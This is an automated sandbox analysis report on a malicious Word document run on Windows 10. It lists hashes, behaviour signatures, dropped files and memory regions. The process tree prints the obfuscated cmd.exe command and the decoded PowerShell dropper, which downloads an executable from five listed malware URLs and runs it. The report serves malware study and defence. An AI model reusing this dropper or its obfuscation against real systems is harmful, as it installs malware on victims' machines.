Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2024 12:15

General

  • Target

    6ae87dcf399fd436295324af614bfe7d_JaffaCakes118.doc

  • Size

    83KB

  • MD5

    6ae87dcf399fd436295324af614bfe7d

  • SHA1

    94961851f49f5b8972bf21eac49a2422265af154

  • SHA256

    e5acae3216827c1b58921810d5440ee5453284b3ebb1637de2cce0f8d60f126f

  • SHA512

    c0a32402c707238b6f733396bf47a3e492fa9aef56e7ab7bd2411d9b297a60813f2eca7dc4beae0ac2f942037e09da08031ec1134ddd8755a61cadf4c1aa7837

  • SSDEEP

    1536:WptJlmrJpmxlRw99NBO+aKz6Qaqya5XJJue+xT:ate2dw99fWqb5zu

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://kulikovonn.ru/l5vT7q19U

exe.dropper

http://optics-line.com/vUUp9ygDE

exe.dropper

http://lonestarcustompainting.com/BLC3RY4O

exe.dropper

http://montegrappa.com.pa/OkyoMANm

exe.dropper

http://kristianmarlow.com/mhFm2oA4Q

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6ae87dcf399fd436295324af614bfe7d_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2472
    • C:\Windows\SYSTEM32\Cmd.exe
      Cmd /V^:^O/C"^set j^L^T= ^ ^ ^ ^ ^ ^ ^ ^ }^}{^hctac^}^;^kaer^b^;V^Dn$^ ^m^e^t^I-ek^ovn^I;)VDn$^ ,r^j^d$(el^i^Fd^a^olnwoD^.I^Y^o^$^{yr^t^{)RlV^$^ n^i rj^d$(^hcaero^f;^'^exe.^'+Q^Qd^$^+^'^\'^+ci^lbu^p:vn^e^$^=V^Dn^$^;^'086' = ^Q^Q^d^$^;)^'@^'(til^p^S^.^'^Q4Ao^2m^Fh^m/m^oc^.wo^lr^amnaitsirk//:pt^th@^mNA^MoykO/^a^p.moc.^ap^p^arg^etno^m//:p^t^t^h@^O^4YR^3C^LB/^m^oc^.^gnitniapm^ots^ucra^t^sen^o^l//^:p^t^t^h^@ED^g^y^9p^UUv/m^oc.^en^i^l^-scitpo//:^ptth@^U91q7^Tv5^l/ur^.nn^ov^oki^lu^k//^:^p^tt^h^'=RlV$;^tn^ei^lCbeW.teN^ tcejbo-^w^en=IY^o^$^ ^ll^ehsre^w^op&&^f^or /^L %^I ^in (^38^7,^-^1,0)^do ^s^et 6^xN=!6^xN!!j^L^T:~%^I,1!&&^i^f %^I eq^u ^0 c^al^l %6^xN:~^-^388%"
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:2468
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $oYI=new-object Net.WebClient;$VlR='http://kulikovonn.ru/l5vT7q19U@http://optics-line.com/vUUp9ygDE@http://lonestarcustompainting.com/BLC3RY4O@http://montegrappa.com.pa/OkyoMANm@http://kristianmarlow.com/mhFm2oA4Q'.Split('@');$dQQ = '680';$nDV=$env:public+'\'+$dQQ+'.exe';foreach($djr in $VlR){try{$oYI.DownloadFile($djr, $nDV);Invoke-Item $nDV;break;}catch{}}
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3296

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD883E.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hob4aivx.k1m.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Public\680.exe

    Filesize

    114B

    MD5

    e89f75f918dbdcee28604d4e09dd71d7

    SHA1

    f9d9055e9878723a12063b47d4a1a5f58c3eb1e9

    SHA256

    6dc9c7fc93bb488bb0520a6c780a8d3c0fb5486a4711aca49b4c53fac7393023

    SHA512

    8df0ab2e3679b64a6174deff4259ae5680f88e3ae307e0ea2dfff88ec4ba14f3477c9fe3a5aa5da3a8e857601170a5108ed75f6d6975958ac7a314e4a336aed0

  • C:\Users\Public\680.exe

    Filesize

    7KB

    MD5

    6f1e1de100220b9fba873bd0e00a4b69

    SHA1

    dbf696beca1cc53491d62ca15cbe25a083cfcb74

    SHA256

    509f1c3d8aaf17f15d41dfe62a40ea4b83ed7765d73eeac69526256af92f9644

    SHA512

    e7170ee4832b7e00b99446ffdec81f152bff165c1145b3b5702a152c8673ea1e059de68a1d923bd8359598dff774a53bc3bba358ae6bb4c67b41ee49aa54df7d

  • memory/2472-47-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-574-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-6-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-7-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-8-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-10-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-0-0x00007FFEEE9B0000-0x00007FFEEE9C0000-memory.dmp

    Filesize

    64KB

  • memory/2472-12-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-11-0x00007FFEEC7C0000-0x00007FFEEC7D0000-memory.dmp

    Filesize

    64KB

  • memory/2472-13-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-14-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-15-0x00007FFEEC7C0000-0x00007FFEEC7D0000-memory.dmp

    Filesize

    64KB

  • memory/2472-16-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-18-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-19-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-20-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-17-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-54-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-9-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-1-0x00007FFEEE9B0000-0x00007FFEEE9C0000-memory.dmp

    Filesize

    64KB

  • memory/2472-38-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-53-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-51-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-50-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-5-0x00007FFEEE9B0000-0x00007FFEEE9C0000-memory.dmp

    Filesize

    64KB

  • memory/2472-598-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-4-0x00007FFF2E9CD000-0x00007FFF2E9CE000-memory.dmp

    Filesize

    4KB

  • memory/2472-2-0x00007FFEEE9B0000-0x00007FFEEE9C0000-memory.dmp

    Filesize

    64KB

  • memory/2472-3-0x00007FFEEE9B0000-0x00007FFEEE9C0000-memory.dmp

    Filesize

    64KB

  • memory/2472-497-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-570-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-571-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-572-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-573-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-52-0x00007FFF2E930000-0x00007FFF2EB25000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-595-0x00007FFEEE9B0000-0x00007FFEEE9C0000-memory.dmp

    Filesize

    64KB

  • memory/2472-597-0x00007FFEEE9B0000-0x00007FFEEE9C0000-memory.dmp

    Filesize

    64KB

  • memory/2472-596-0x00007FFEEE9B0000-0x00007FFEEE9C0000-memory.dmp

    Filesize

    64KB

  • memory/2472-594-0x00007FFEEE9B0000-0x00007FFEEE9C0000-memory.dmp

    Filesize

    64KB

  • memory/3296-64-0x000001F5E79C0000-0x000001F5E79E2000-memory.dmp

    Filesize

    136KB